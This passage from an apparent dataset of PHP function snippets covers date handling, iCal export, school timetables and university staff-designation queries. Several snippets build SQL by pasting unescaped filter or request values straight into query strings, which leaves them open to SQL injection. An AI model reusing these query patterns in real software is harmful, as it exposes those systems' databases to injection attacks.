<>\".$filtro['tipo_desig']['valor'];break;\n }\n }\n if (isset($filtro['anulada'])) {\n switch ($filtro['anulada']['valor']) {\n case '0': $where.=\" AND not (a.hasta is not null and a.hasta<a.desde)\";break;\n case '1': $where.=\" AND a.hasta is not null and a.hasta<a.desde \";break;\n }\n } \n if (isset($filtro['cat_estat'])) {\n switch ($filtro['cat_estat']['condicion']) {\n case 'es_igual_a': $where2.= \" and cat_estat=\".quote($filtro['cat_estat']['valor']);break;\n case 'es_distinto_de': $where2.= \" and cat_estat <>\".quote($filtro['cat_estat']['valor']);break;\n }\n }\n if (isset($filtro['dedic'])) {\n switch ($filtro['dedic']['condicion']) {\n case 'es_igual_a': $where2.= \" and dedic=\".$filtro['dedic']['valor'];break;\n case 'es_distinto_de': $where2.= \" and dedic<>\".$filtro['dedic']['valor'];break;\n }\n } \n //me aseguro de colocar en estado B todas las designaciones que tienen baja\n if($concat!=''){ \n $sql2=\" update designacion a set estado ='B' \"\n . \" where estado<>'B' and a.uni_acad=\".$concat\n .\" and exists (select * from novedad b\n where a.id_designacion=b.id_designacion \n and (b.tipo_nov=1 or b.tipo_nov=4))\";\n }\n \n //designaciones sin licencia UNION designaciones c/licencia sin norma UNION designaciones c/licencia c norma UNION reservas\n $sql=$this->armar_consulta($pdia,$udia,$filtro['anio']['valor']);\n\t\t//si el estado de la designacion es B entonces le pone estado B, si es <>B se fija si tiene licencia sin goce o cese\n// $sql= \"select id_designacion,docente_nombre,legajo,nro_cargo,anio_acad,desde,hasta,cat_mapuche,cat_mapuche_nombre,cat_estat,dedic,carac,check_presup,id_departamento,id_area,id_orientacion,uni_acad,emite_norma,nro_norma,tipo_norma,nro_540,observaciones,estado,porc,dias_lic,programa,costo_vale as costo,est,expediente,nro from(\"\n// . \"select sub2.*,case when t_no.tipo_nov in (1,4) then 'B('||coalesce(t_no.tipo_norma,'')||':'||coalesce(t_no.norma_legal,'')||')' else case when t_no.tipo_nov in (2,5) then 'L('||t_no.tipo_norma||':'||t_no.norma_legal||')' else sub2.estado end end as est,t_i.expediente,case when d.tipo_desig=2 then costo_reserva(d.id_designacion,costo,\".$filtro['anio']['valor'].\") else costo end as costo_vale \"\n// . \" ,case when t_nor.id_norma is null then '' else case when t_nor.link is not null or t_nor.link <>'' then '<a href='||chr(39)||t_nor.link||chr(39)|| ' target='||chr(39)||'_blank'||chr(39)||'>'||t_nor.nro_norma||'</a>' else cast(t_nor.nro_norma as text) end end as nro \"\n// . \"from (\"\n// .\"select sub.id_designacion,docente_nombre,legajo,nro_cargo,anio_acad, sub.desde, sub.hasta,cat_mapuche, cat_mapuche_nombre,cat_estat,dedic,carac,id_departamento, id_area,id_orientacion, uni_acad,sub.emite_norma, sub.nro_norma,sub.tipo_norma,nro_540,sub.observaciones,estado,programa,porc,costo_diario,check_presup,licencia,dias_des,dias_lic,costo,max(t_no.id_novedad) as id_novedad from (\"\n// .\"select distinct b.id_designacion,docente_nombre,legajo,nro_cargo,anio_acad, b.desde, b.hasta,cat_mapuche, cat_mapuche_nombre,cat_estat,dedic,carac,id_departamento, id_area,id_orientacion, uni_acad,emite_norma, b.nro_norma,b.tipo_norma,nro_540,b.observaciones,estado,programa,porc,costo_diario,check_presup,licencia,dias_des,dias_lic,case when (dias_des-dias_lic)>=0 then ((dias_des-dias_lic)*costo_diario*porc/100) else 0 end as costo\"\n// .\" from (\"\n// .\" select a.id_designacion,a.docente_nombre,a.legajo,a.nro_cargo,a.anio_acad, a.desde, a.hasta,a.cat_mapuche, a.cat_mapuche_nombre,a.cat_estat,a.dedic,a.carac,b.a.id_departamento, a.id_area,a.id_orientacion, a.uni_acad, a.emite_norma, a.nro_norma,a.tipo_norma,a.nro_540,a.observaciones,a.estado,programa,porc,a.costo_diario,check_presup,licencia,a.dias_des,a.dias_lic\".\n// \" from (\".$sql.\") a\"\n// .$where \n// .\") b \"\n// . \" )sub\"\n// . \" LEFT OUTER JOIN novedad t_no ON (sub.id_designacion=t_no.id_designacion and t_no.desde<='\".$udia.\"' and (t_no.hasta is null or t_no.hasta>='\".$pdia.\"' ))\"\n// . \" GROUP BY sub.id_designacion,docente_nombre,legajo,nro_cargo,anio_acad, sub.desde,sub.hasta,cat_mapuche, cat_mapuche_nombre,cat_estat,dedic,carac,id_departamento, id_area,id_orientacion, uni_acad,sub.emite_norma, sub.nro_norma,sub.tipo_norma,nro_540,sub.observaciones,estado,programa,porc,costo_diario,check_presup,licencia,dias_des,dias_lic,costo\" \n// . \")sub2\"//obtengo el id_novedad maximo\n// . \" LEFT OUTER JOIN novedad t_no on (t_no.id_novedad=sub2.id_novedad)\"//con el id_novedad maximo obtengo la novedad que predomina\n// .\" LEFT JOIN impresion_540 t_i ON (nro_540=t_i.id)\"//para agregar el expediente \n// .\" LEFT OUTER JOIN designacion d ON (sub2.id_designacion=d.id_designacion)\"//como no tengo el id de la norma tengo que volver a hacer join\n// .\" LEFT OUTER JOIN norma t_nor ON (d.id_norma=t_nor.id_norma)\"\n// . \")sub3\"\n// .$where2\n// . \" order by docente_nombre,desde\"; \n $sql= \"select id_designacion,docente_nombre,legajo,nro_cargo,anio_acad,desde,hasta,cat_mapuche,cat_mapuche_nombre,cat_estat,dedic,carac,check_presup,id_departamento,id_area,id_orientacion,uni_acad,emite_norma,nro_norma,tipo_norma,nro_540,tkd,observaciones,estado,porc,dias_lic,programa,costo_vale as costo,est,expediente,nro from(\"\n . \"select sub2.*,sub2.nro_540||'/'||t_i.anio as tkd,case when t_no.tipo_nov in (1,4) then 'B('||coalesce(t_no.tipo_norma,'')||':'||coalesce(t_no.norma_legal,'')||')' else case when t_no.tipo_nov in (2,5) then 'L('||t_no.tipo_norma||':'||t_no.norma_legal||')' else sub2.estado end end as est,t_i.expediente,case when d.tipo_desig=2 then costo_reserva(d.id_designacion,costo,\".$filtro['anio']['valor'].\") else costo end as costo_vale \"\n . \" ,case when t_nor.id_norma is null then '' else case when t_nor.link is not null or t_nor.link <>'' then '<a href='||chr(39)||t_nor.link||chr(39)|| ' target='||chr(39)||'_blank'||chr(39)||'>'||t_nor.nro_norma||'</a>' else cast(t_nor.nro_norma as text) end end as nro \"\n . \"from (\"\n .\"select sub.id_designacion,docente_nombre,legajo,nro_cargo,anio_acad, sub.desde, sub.hasta,cat_mapuche, cat_mapuche_nombre,cat_estat,dedic,carac,id_departamento, id_area,id_orientacion, uni_acad,sub.emite_norma, sub.nro_norma,sub.tipo_norma,nro_540,sub.observaciones,estado,programa,porc,costo_diario,check_presup,licencia,dias_des,dias_lic,costo,max(t_no.id_novedad) as id_novedad from (\"\n .\"select distinct b.id_designacion,docente_nombre,legajo,nro_cargo,anio_acad, b.desde, b.hasta,cat_mapuche, cat_mapuche_nombre,cat_estat,dedic,carac,id_departamento, id_area,id_orientacion, uni_acad,emite_norma, b.nro_norma,b.tipo_norma,nro_540,b.observaciones,estado,programa,porc,costo_diario,check_presup,licencia,dias_des,dias_lic,case when (dias_des-dias_lic)>=0 then ((dias_des-dias_lic)*costo_diario*porc/100) else 0 end as costo\"\n .\" from (\"\n .\" select a.id_designacion,a.por_permuta,a.docente_nombre,a.legajo,a.nro_cargo,a.anio_acad, a.desde, a.hasta,a.cat_mapuche, a.cat_mapuche_nombre,a.cat_estat,a.dedic,a.carac,t.iddepto,a.id_departamento, a.id_area,a.id_orientacion, a.uni_acad, a.emite_norma, a.nro_norma,a.tipo_norma,a.nro_540,a.observaciones,a.estado,programa,porc,a.costo_diario,a.check_presup,licencia,a.dias_des,a.dias_lic\".\n \" from (\".$sql.\") a\"\n . \" INNER JOIN designacion d ON (a.id_designacion=d.id_designacion)\"\n . \" LEFT OUTER JOIN departamento t ON (t.iddepto=d.id_departamento)\"\n .$where \n .\") b \"\n . \" )sub\"\n . \" LEFT OUTER JOIN novedad t_no ON (sub.id_designacion=t_no.id_designacion and t_no.desde<='\".$udia.\"' and (t_no.hasta is null or t_no.hasta>='\".$pdia.\"' ))\"\n . \" GROUP BY sub.id_designacion,docente_nombre,legajo,nro_cargo,anio_acad, sub.desde,sub.hasta,cat_mapuche, cat_mapuche_nombre,cat_estat,dedic,carac,id_departamento, id_area,id_orientacion, uni_acad,sub.emite_norma, sub.nro_norma,sub.tipo_norma,nro_540,sub.observaciones,estado,programa,porc,costo_diario,check_presup,licencia,dias_des,dias_lic,costo\" \n . \")sub2\"//obtengo el id_novedad maximo\n . \" LEFT OUTER JOIN novedad t_no on (t_no.id_novedad=sub2.id_novedad)\"//con el id_novedad maximo obtengo la novedad que predomina\n .\" LEFT JOIN impresion_540 t_i ON (nro_540=t_i.id)\"//para agregar el expediente \n .\" LEFT OUTER JOIN designacion d ON (sub2.id_designacion=d.id_designacion)\"//como no tengo el id de la norma tengo que volver a hacer join\n .\" LEFT OUTER JOIN norma t_nor ON (d.id_norma=t_nor.id_norma)\"\n . \")sub3\"\n .$where2\n . \" order by docente_nombre,desde\"; \n return toba::db('designa')->consultar($sql);\n\t}",
"function archivate_referal_day_stat() {\r\n //$users = $this->CI->pm->get_project_users();\r\n //foreach ($users as $u)\r\n $this->backup_partner_xml();\r\n }",
"function fichier_ical($liste_evenements)\r\n{\r\n\t////\tINIT\r\n\tglobal $tab_timezones, $AGENDAS_AFFECTATIONS;\r\n\r\n\t////\tDEBUT DU ICAL\r\n\t$sortie = \"BEGIN:VCALENDAR\\n\";\r\n\t$sortie .= \"PRODID:-//Agora-Project//\".$_SESSION[\"agora\"][\"nom\"].\"//EN\\n\";\r\n\t$sortie .= \"VERSION:2.0\\n\";\r\n\t$sortie .= \"CALSCALE:GREGORIAN\\n\";\r\n\t$sortie .= \"METHOD:PUBLISH\\n\";\r\n\r\n\t////\tTIMEZONE\r\n\t$current_timezone = current_timezone();\r\n\t$heure_time_zone = $tab_timezones[$current_timezone];\r\n\t$sortie .= \"BEGIN:VTIMEZONE\\n\";\r\n\t$sortie .= \"TZID:\".$current_timezone.\"\\n\";\r\n\t$sortie .= \"X-LIC-LOCATION:\".$current_timezone.\"\\n\";\r\n\t//Daylight\r\n\t$sortie .= \"BEGIN:DAYLIGHT\\n\";\r\n\t$sortie .= \"TZOFFSETFROM:\".heure_ical($heure_time_zone).\"\\n\";\r\n\t$sortie .= \"TZOFFSETTO:\".heure_ical($heure_time_zone,1).\"\\n\";\r\n\t$sortie .= \"TZNAME:CEST\\n\";\r\n\t$sortie .= \"DTSTART:19700329T020000\\n\";\r\n\t$sortie .= \"RRULE:FREQ=YEARLY;INTERVAL=1;BYDAY=-1SU;BYMONTH=3\\n\";\r\n\t$sortie .= \"END:DAYLIGHT\\n\";\r\n\t//Standard\r\n\t$sortie .= \"BEGIN:STANDARD\\n\";\r\n\t$sortie .= \"TZOFFSETFROM:\".heure_ical($heure_time_zone,1).\"\\n\";\r\n\t$sortie .= \"TZOFFSETTO:\".heure_ical($heure_time_zone).\"\\n\";\r\n\t$sortie .= \"TZNAME:CET\\n\";\r\n\t$sortie .= \"DTSTART:19701025T030000\\n\";\r\n\t$sortie .= \"RRULE:FREQ=YEARLY;INTERVAL=1;BYDAY=-1SU;BYMONTH=10\\n\";\r\n\t$sortie .= \"END:STANDARD\\n\";\r\n\t$sortie .= \"END:VTIMEZONE\\n\";\r\n\r\n\t////\tAJOUT DE CHAQUE EVENEMENT\r\n\tforeach($liste_evenements as $evt)\r\n\t{\r\n\t\t////\tDescription & agendas où est affecté l'événement\r\n\t\t$evt[\"description\"] = strip_tags(str_replace(\"<br />\",\" \",$evt[\"description\"]));\r\n\t\t$agendas = agendas_evts($evt[\"id_evenement\"],\"1\");\r\n\t\tif(count($agendas)>1){\r\n\t\t\t$agendas_txt = \"\";\r\n\t\t\tforeach($agendas as $id_agenda) { $agendas_txt .= $AGENDAS_AFFECTATIONS[$id_agenda][\"titre\"].\", \"; }\r\n\t\t\t$evt[\"description\"] .= \" [\".substr(text_reduit($agendas_txt),0,-2).\"]\";\r\n\t\t}\r\n\t\t////\tAffichage\r\n\t\t$sortie .= \"BEGIN:VEVENT\\n\";\r\n\t\t$sortie .= \"CREATED:\".date_ical($evt[\"date_crea\"],false).\"\\n\";\r\n\t\t$sortie .= \"LAST-MODIFIED:\".date_ical($evt[\"date_crea\"],false).\"\\n\";\r\n\t\t$sortie .= \"DTSTAMP:\".date_ical(db_insert_date(),false).\"\\n\";\r\n\t\t$sortie .= \"UID:\".ical_uid_evt($evt).\"\\n\";\r\n\t\t$sortie .= \"SUMMARY:\".$evt[\"titre\"].\"\\n\";\r\n\t\t$sortie .= \"DTSTART;TZID=\".date_ical($evt[\"date_debut\"]).\"\\n\"; //exple : \"19970714T170000Z\" pour 14 juillet 1997 à 17h00\r\n\t\t$sortie .= \"DTEND;TZID=\".date_ical($evt[\"date_fin\"]).\"\\n\";\r\n\t\tif($evt[\"id_categorie\"]>0)\t\t$sortie .= \"CATEGORIES:\".db_valeur(\"SELECT titre FROM gt_agenda_categorie WHERE id_categorie='\".$evt[\"id_categorie\"].\"'\").\"\\n\";\r\n\t\tif($evt[\"description\"]!=\"\")\t\t$sortie .= \"DESCRIPTION:\".preg_replace(\"/\\r\\n/\",\" \",html_entity_decode(strip_tags($evt[\"description\"]))).\"\\n\";\r\n\t\t// Périodicité\r\n\t\t$period_date_fin = ($evt[\"period_date_fin\"]) ? \";UNTIL=\".date_ical($evt[\"period_date_fin\"],false) : \"\";\r\n\t\tif($evt[\"periodicite_type\"]==\"annee\")\t\t\t\t$sortie .= \"RRULE:FREQ=YEARLY;INTERVAL=1\".$period_date_fin.\"\\n\";\r\n\t\telseif($evt[\"periodicite_type\"]==\"mois\")\t\t\t$sortie .= \"RRULE:FREQ=MONTHLY;INTERVAL=1;BYMONTHDAY=\".trim(strftime(\"%e\",strtotime($evt[\"date_debut\"]))).$period_date_fin.\"\\n\";\r\n\t\telseif($evt[\"periodicite_type\"]==\"jour_mois\")\t\t$sortie .= \"RRULE:FREQ=MONTHLY;INTERVAL=1;BYMONTHDAY=\".implode(\",\",array_map(\"abs\",explode(\",\",$evt[\"periodicite_valeurs\"]))).$period_date_fin.\"\\n\";\r\n\t\telseif($evt[\"periodicite_type\"]==\"jour_semaine\")\t$sortie .= \"RRULE:FREQ=WEEKLY;INTERVAL=1;BYDAY=\".implode(\",\",array_map(\"jour_ical\",explode(\",\",$evt[\"periodicite_valeurs\"]))).$period_date_fin.\"\\n\";\r\n\t\t$sortie .= \"END:VEVENT\\n\";\r\n\t}\r\n\r\n\t////\tFIN DU ICAL\r\n\t$sortie .= \"END:VCALENDAR\\n\";\r\n\treturn $sortie;\r\n}",
"public function getFechaInicio()\n {\n $fechaInicio = null;\n if (count($this->objetivos)==0) return $fechaInicio;\n foreach ($this->objetivos as $objetivo)\n {\n if (count($objetivo->getActividades())!=0)\n {\n foreach($objetivo->getActividades() as $actividad)\n {\n $fechaActividad = $actividad->getFechaIni(); \n $fechaInicio = (($fechaActividad < $fechaInicio)||\n $fechaInicio==null)? $fechaActividad:$fechaInicio;\n }\n }\n }\n return $fechaInicio;\n }",
"public function stdWrap_dateDataProvider() {}",
"function moisAnPasse()\n{\n\t$dateActuelle = date(\"d/m/Y\");\n\t@list($jour, $mois, $annee) = explode('/', $dateActuelle);\n\t$annee--;\n\t$moisActuel = $annee . $mois;\n\treturn $moisActuel;\n}",
"function ranijiDatum($datum1, $datum2)\n {\n if ($datum1->getGodina() < $datum2->getGodina()) {\n echo \"datum 1 raniji je od datuma 2\";\n } else if ($datum1->getGodina() > $datum2->getGodina()) {\n echo \"datum 2 je raniji od datuma 1\";\n } else if ($datum1->getMesec() < $datum2->getMesec()) {\n echo \"datum 1 je raniji od datuma 2 (godine se poklapaju ali je mesec prvog datuma raniji od meseca drugog datuma)\";\n } else if ($datum1->getMesec() > $datum2->getMesec()) {\n echo \"datum 2 je raniji od datuma 1 (godine se poklapaju ali je mesec drugog datuma raniji od meseca prvog datuma)\";\n } else if (\n $datum1->getMesec() == $datum2->getMesec()\n && $datum1->getDan() < $datum2->getDan()\n ) {\n echo \"datum 1 je raniji od datuma 2(poklapaju se meseci i godine ali je dan prvog datuma raniji od\n dana drugog datuma\";\n } else if ($datum1->getDan() > $datum2->getDan()) {\n echo \"datum 2 je raniji od datuma 1(poklapaju se meseci i godine ali je dan drugog datuma raniji od\n dana prvog datuma\";\n } else {\n echo \"datumi su jednaki\";\n }\n }",
"function toString()\n {\n return \"Data rinnovo: \".$this->date.\"\\n\".\n \"Stato: \".$this->stato;\n }",
"function get_dates($all=null){\r\n\t /* get status of the user \r\n\t * might not be necessary but could be useful later for the personalized calendar \r\n\t */\r\n /* $sql = \"SELECT status\r\n FROM `\".TABLE_PREFIX.\"members`\r\n WHERE `login`='\".$_SESSION['login'].\"'\";\r\n\t\t\t\t\t\r\n $result = mysql_query($sql,$db) or die(mysql_error());\r\n $row_count = mysql_num_rows($result);\r\n if($row_count > 0){\r\n $row = mysql_fetch_assoc($result);\r\n }\r\n\t */\r\n\tglobal $moduleFactory;\r\n\t$dates=array();\r\n $coursesmod = $moduleFactory->getModule(\"_core/courses\");\r\n $courses=$coursesmod->extend_date(); \r\n\t$assignmentsmod = $moduleFactory->getModule(\"_standard/assignments\");\r\n $assignments=$assignmentsmod->extend_date();\r\n\t$testsmod = $moduleFactory->getModule(\"_standard/tests\");\r\n $tests=$testsmod->extend_date();\r\n\t$dates['course']= $courses;\r\n\t$dates['assignments']=$assignments;\r\n\t$dates['tests']=\t$tests;\r\n\t//$dates[$_SESSION['course_id']]['assignments']=\t$assignments;\r\n echo(json_encode($dates));\r\n\t\t\t \r\n }",
"function get_timestamp_jour_suivant($timestamp_today) {\n\tglobal $mysqli;\n\t$demain=false;\n\n\t$tab_nom_jour=array('dimanche','lundi','mardi','mercredi','jeudi','vendredi','samedi');\n\t$sql=\"SELECT * from horaires_etablissement WHERE ouverture_horaire_etablissement!=fermeture_horaire_etablissement AND ouvert_horaire_etablissement!='0' ORDER BY id_horaire_etablissement;\";\n\t$res_jours_ouverts=mysqli_query($mysqli, $sql);\n\tif($res_jours_ouverts->num_rows > 0) {\n\t\t$tab_jours_ouverture=array();\n\t\twhile($lig_j = $res_jours_ouverts->fetch_object()) {\n\t\t\t$tab_jours_ouverture[]=$lig_j->jour_horaire_etablissement;\n\t\t\t//echo \"\\$tab_jours_ouverture[]=\".$lig_j->jour_horaire_etablissement.\"<br />\";\n\t\t}\n\t\t$res_jours_ouverts->close();\n\n\t\t$compteur=0;\n\t\t$j_prec = $timestamp_today - 3600*24;\n\t\twhile((isset($tab_nom_jour[strftime(\"%w\",$j_prec)]))&&(!in_array($tab_nom_jour[strftime(\"%w\",$j_prec)],$tab_jours_ouverture))&&($compteur<8)) {\n\t\t\t$j_prec -= 3600*24;\n\t\t\t$compteur++;\n\t\t}\n\t\tif($compteur<7) {\n\t\t\t$hier=$j_prec;\n\t\t}\n\n\t\t$compteur=0;\n\t\t$j_suiv = $timestamp_today + 3600*24;\n\t\twhile((isset($tab_nom_jour[strftime(\"%w\",$j_suiv)]))&&(!in_array($tab_nom_jour[strftime(\"%w\",$j_suiv)],$tab_jours_ouverture))&&($compteur<8)) {\n\t\t\t$j_suiv += 3600*24;\n\t\t\t$compteur++;\n\t\t}\n\t\tif($compteur<7) {\n\t\t\t$demain=$j_suiv;\n\t\t}\n\t}\n\n\treturn $demain;\n}",
"function agenda_mini_afficher($id_agenda=0, $icone_prec='<<', $icone_suiv='>>', \n\t\t\t\t\t\t\t\t\t\t\t$jour_debut=0, $affichage_hors_mois='oui',\n\t\t\t\t\t\t\t\t\t\t\t$critere='oui', $max_mois=6, $taille=5, $format='d-m H:i') {\n\n\tif ($id_agenda == 0)\n\t\treturn;\n\t\t\n\t$agenda = NULL;\n\n\t// Creation du header compose des items de navigation annee et mois\n\t$agenda .= agenda_mini_header($id_agenda, $icone_prec, $icone_suiv);\n\t\n\t// Creation du body compose du calendrier mensuel\n\t$agenda .= agenda_mini_body($id_agenda, $jour_debut, $affichage_hors_mois);\n\t\n\t// Creation du footer compose des items de navigation aujourd'hui et du resume des evenements du mois\n\t$agenda .= agenda_mini_footer($id_agenda, $critere, $max_mois, $taille, $format);\n\n\treturn $agenda;\n}",
"public function getDate($i);",
"function imprimir_data_extenso()\r\n{\r\n\tglobal $semana;\r\n\tglobal $mes;\t\r\n\t$diasemana = date('w');\r\n\t$diames = date('j');\r\n\t$numeromes = date('n');\r\n\t$ano = date('Y');\t\r\n\techo $semana[ $diasemana ] . ', ' .\r\n\t\t $diames . ' de ' . \r\n\t\t $mes[ $numeromes ] . ' de ' . \r\n\t\t $ano;\t\t \r\n}",
"public function getDateVisite() {\n return $this->dateVisite;\n }",
"function get_num_periode_d_apres_date($id_classe, $login_eleve=\"\", $timestamp=\"\") {\n\tglobal $mysqli;\n\n\t$num_periode=\"\";\n\n\tif($timestamp==\"\") {\n\t\t$timestamp=time();\n\t}\n\n\t$date_mysql=strftime(\"%Y-%m-%d %H:%M:%S\", $timestamp);\n\n\tif($id_classe!=\"\") {\n\t\t$sql=\"SELECT p.num_periode FROM periodes p \n\t\t\t\t\tWHERE p.id_classe='$id_classe' AND \n\t\t\t\t\t\tp.date_fin>='\".$date_mysql.\"'\n\t\t\t\t\tORDER BY date_fin ASC LIMIT 1;\";\n\t}\n\telse {\n\t\t$sql=\"SELECT p.num_periode FROM periodes p, \n\t\t\t\t\t\tj_eleves_classes jec \n\t\t\t\t\tWHERE p.id_classe=jec.id_classe AND \n\t\t\t\t\t\tp.num_periode=jec.periode AND \n\t\t\t\t\t\tjec.login='\".$login_eleve.\"' AND \n\t\t\t\t\t\tp.date_fin>='\".$date_mysql.\"'\n\t\t\t\t\tORDER BY date_fin ASC LIMIT 1;\";\n\t}\n\t//echo \"$sql<br />\";\n\t$res=mysqli_query($mysqli, $sql);\n\tif(mysqli_num_rows($res)>0) {\n\t\t$lig=mysqli_fetch_object($res);\n\t\t$num_periode=$lig->num_periode;\n\t}\n\n\treturn $num_periode;\n}",
"function tridate(){\r\n $sql=\"SELECT * FROM livraison ORDER BY date ASC\";\r\n$db = config::getConnexion();\r\n try{\r\n $liste=$db->query($sql);\r\n return $liste;\r\n }\r\n catch (Exception $e){\r\n die('Erreur: '.$e->getMessage());\r\n } \r\n}",
"public function getAllDate($datoDesde,$datoHasta){\n $sql = \"SELECT Id, Proveedor, Concepto, FORMAT(Monto, 2) AS Monto, Revisado, DATE_FORMAT(FechaSolicitud,'%d/%m/%Y') AS FechaSolicitud, AutorizadoPago, DATE_FORMAT(FechaAutorizado,'%d/%m/%Y') AS FechaAutorizado, estado, Comentario, ComentarioCapt, DATE_FORMAT(FechaPago,'%d/%m/%Y') AS FechaPago From \" .self::$tablename. \" WHERE FechaSolicitud BETWEEN '{$datoDesde}' AND '{$datoHasta}' ORDER BY Id DESC\";\n return Executor::doit($sql);\n }",
"public function rifaiVetrine()\n\t\t{\n\t\t\tif( ($listaVetrine = array_keys($this->vetrine)) )\n\t\t\t\tforeach ($listaVetrine as $nomeVetrina)\n\t\t\t\t\tunset($this->vetrine[$nomeVetrina]['lastMod']);\n\t\t\t\n\t\t\t$this->salvaStatoInsiemeVetrine();\n\t\t}",
"function tableau_visites_rubriques($date) {\r\n\tglobal $couleur_claire;\r\n\r\n\t$tab_rubart = rubriques_du_jour($date);\r\n\r\n\t$aff = '';\r\n\t$aff .= debut_cadre_relief('rubrique-24.gif', true);\r\n\t$aff .= \"<div class='cart_titre_bold verdana3'>\" . _T('actijour:repartition_visites_secteurs') . \"</div>\";\r\n\r\n\tif ($tab_rubart) {\r\n\t\t// add visites\r\n\t\t$nbr = 0;\r\n\t\tforeach ($tab_rubart as $s => $c) {\r\n\t\t\t$nbr += $c['vis'];\r\n\t\t}\r\n\r\n\t\t$ifond = 0;\r\n\r\n\t\t$aff .= \"<table cellpadding='2' cellspacing='0' width='100%' border='0'>\\n\";\r\n\r\n\t\tforeach ($tab_rubart as $sect => $cat) {\r\n\t\t\t$ifond = $ifond ^ 1;\r\n\t\t\t$couleur = ($ifond) ? '#FFFFFF' : $couleur_claire;\r\n\t\t\t$s_titre = typo(info_rubrique($sect));\r\n\t\t\t$prct_s = round(($cat['vis'] / $nbr) * 100, 1);\r\n\r\n\t\t\t$aff .= \"<tr bgcolor='$couleur'>\\n<td colspan='2'>\"\r\n\t\t\t\t. http_img_pack('secteur-12.gif', 'ico', 'align=\\'absmiddle\\'', '') . \" <b>\"\r\n\t\t\t\t. supprimer_numero($s_titre) . \"</b></td>\\n\"\r\n\t\t\t\t. \"<td width='8%'><div align='right'><b>\"\r\n\t\t\t\t. $cat['vis'] . \"</b></div></td>\\n\"\r\n\t\t\t\t. \"<td width='12%'><div class='verdana2 bold' align='right'>\"\r\n\t\t\t\t. $prct_s . \"%</div></td>\\n\"\r\n\t\t\t\t. \"</tr>\\n\";\r\n\r\n\t\t\tif ($cat['rub']) {\r\n\t\t\t\tforeach ($cat['rub'] as $idr => $vis) {\r\n\t\t\t\t\t$r_titre = typo(info_rubrique($idr));\r\n\t\t\t\t\t$prct_r = round(($vis / $nbr) * 100, 1);\r\n\r\n\t\t\t\t\t$aff .= \"<tr bgcolor='$couleur'>\\n<td width='2%'> </td>\"\r\n\t\t\t\t\t\t. \"<td>\"\r\n\t\t\t\t\t\t. http_img_pack('rubrique-12.gif', 'ico', 'align=\\'absmiddle\\'', '') . \" \"\r\n\t\t\t\t\t\t. supprimer_numero($r_titre) . \"</td>\\n\"\r\n\t\t\t\t\t\t. \"<td width='8%'><div align='right'>\"\r\n\t\t\t\t\t\t. $vis . \"</div></td>\\n\"\r\n\t\t\t\t\t\t. \"<td width='12%'><div class='verdana1' align='right'>\"\r\n\t\t\t\t\t\t. $prct_r . \"%</div></td>\\n</tr>\\n\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t$aff .= \"</table>\\n\";\r\n\t}\r\n\t$aff .= fin_cadre_relief(true);\r\n\r\n\treturn $aff;\r\n}",
"public function getDate_en_ligne()\n {\n return $this->date_en_ligne;\n }",
"public function setDateDuJour()\n{\n$this->setDateSysteme(date(\"Y-m-d\"));\n$this->setDateUtilisateur(date(\"d/m/Y\"));\n}",
"function calc_auszahlungen(){\n\t\t$file = \"./Data/\".$_SESSION['datenpfad'] .\"/Timetable/auszahlungen\";\n\t\tif(file_exists($file)){\n\t\t\t$this->_arr_ausz = file($file);\n\t\t\tfor($i=0; $i< count($this->_arr_ausz);$i++){\n\t\t\t\t$this->_arr_ausz[$i] = explode(\";\", $this->_arr_ausz[$i]);\n\t\t\t\t$this->_tot_ausz += $this->_arr_ausz[$i][2];\n\t\t\t}\n\t\t}else{\n\t\t\t$fp = fopen($file, \"w\");\n\t\t\tfclose($fp); \n\t\t}\n\t}",
"public function dohvati_najaktuelnije_ideje()\n {\n $ideje= $this->findAll();\n usort($ideje,function ($i1,$i2)\n {\n //proveriti je l' ovo tranzitivno, idejno jeste, samo da li sam napravio gresku\n $dat1= strtotime($i1->DatumEvaluacije); \n $dat2= strtotime($i2->DatumEvaluacije); \n $danas= strtotime(date(\"Y-m-d H:i:s\"));\n if ($dat1==$dat2)\n {\n return 0;\n }\n if ($dat1>$danas)\n {\n if ($dat2<$danas)//dat2 nije aktuelno, jer je vec proslo, a d1 jeste te ide ispred\n {\n return -1;\n }\n else//oba tek treba da se dogode aktuelnije je ono sto ce pre da se dogodi\n {\n if ($dat1<$dat2)\n {\n return -1;\n }\n else\n {\n return 1;\n }\n }\n }\n else//dat1 nije aktuelno\n {\n if ($dat2>$danas)//dat2 ide ispred\n {\n return 1;\n }\n else//nijedan nije aktuelan zato zelimo da bude ispred onaj sa vecim datumom jer je on blizi sadasnjosti\n {\n if ($dat1<$dat2)\n {\n return 1;\n }\n else \n {\n return -1;\n \n }\n }\n \n }\n });\n return $ideje;\n \n }",
"function get_timestamp_jour_precedent($timestamp_today) {\n\tglobal $mysqli;\n\t$hier=false;\n\n\t$tab_nom_jour=array('dimanche','lundi','mardi','mercredi','jeudi','vendredi','samedi');\n\t$sql=\"select * from horaires_etablissement WHERE ouverture_horaire_etablissement!=fermeture_horaire_etablissement AND ouvert_horaire_etablissement!='0' ORDER BY id_horaire_etablissement;\";\n\t$res_jours_ouverts=mysqli_query($mysqli, $sql);\n\tif($res_jours_ouverts->num_rows>0) {\n\t\t$tab_jours_ouverture=array();\n\t\twhile($lig_j=$res_jours_ouverts->fetch_object()) {\n\t\t\t$tab_jours_ouverture[]=$lig_j->jour_horaire_etablissement;\n\t\t\t//echo \"\\$tab_jours_ouverture[]=\".$lig_j->jour_horaire_etablissement.\"<br />\";\n\t\t}\n\n\t\t$compteur=0;\n\t\t$j_prec = $timestamp_today - 3600*24;\n\t\twhile((isset($tab_nom_jour[strftime(\"%w\",$j_prec)]))&&(!in_array($tab_nom_jour[strftime(\"%w\",$j_prec)],$tab_jours_ouverture))&&($compteur<8)) {\n\t\t\t$j_prec -= 3600*24;\n\t\t\t$compteur++;\n\t\t}\n\t\tif($compteur<7) {\n\t\t\t$hier=$j_prec;\n\t\t}\n\t\t$res_jours_ouverts->close();\n\t}\n\n\treturn $hier;\n}",
"function getActivityDates(){\n\t\t\treturn $this->articleEvents->getDates();\n\t\t}",
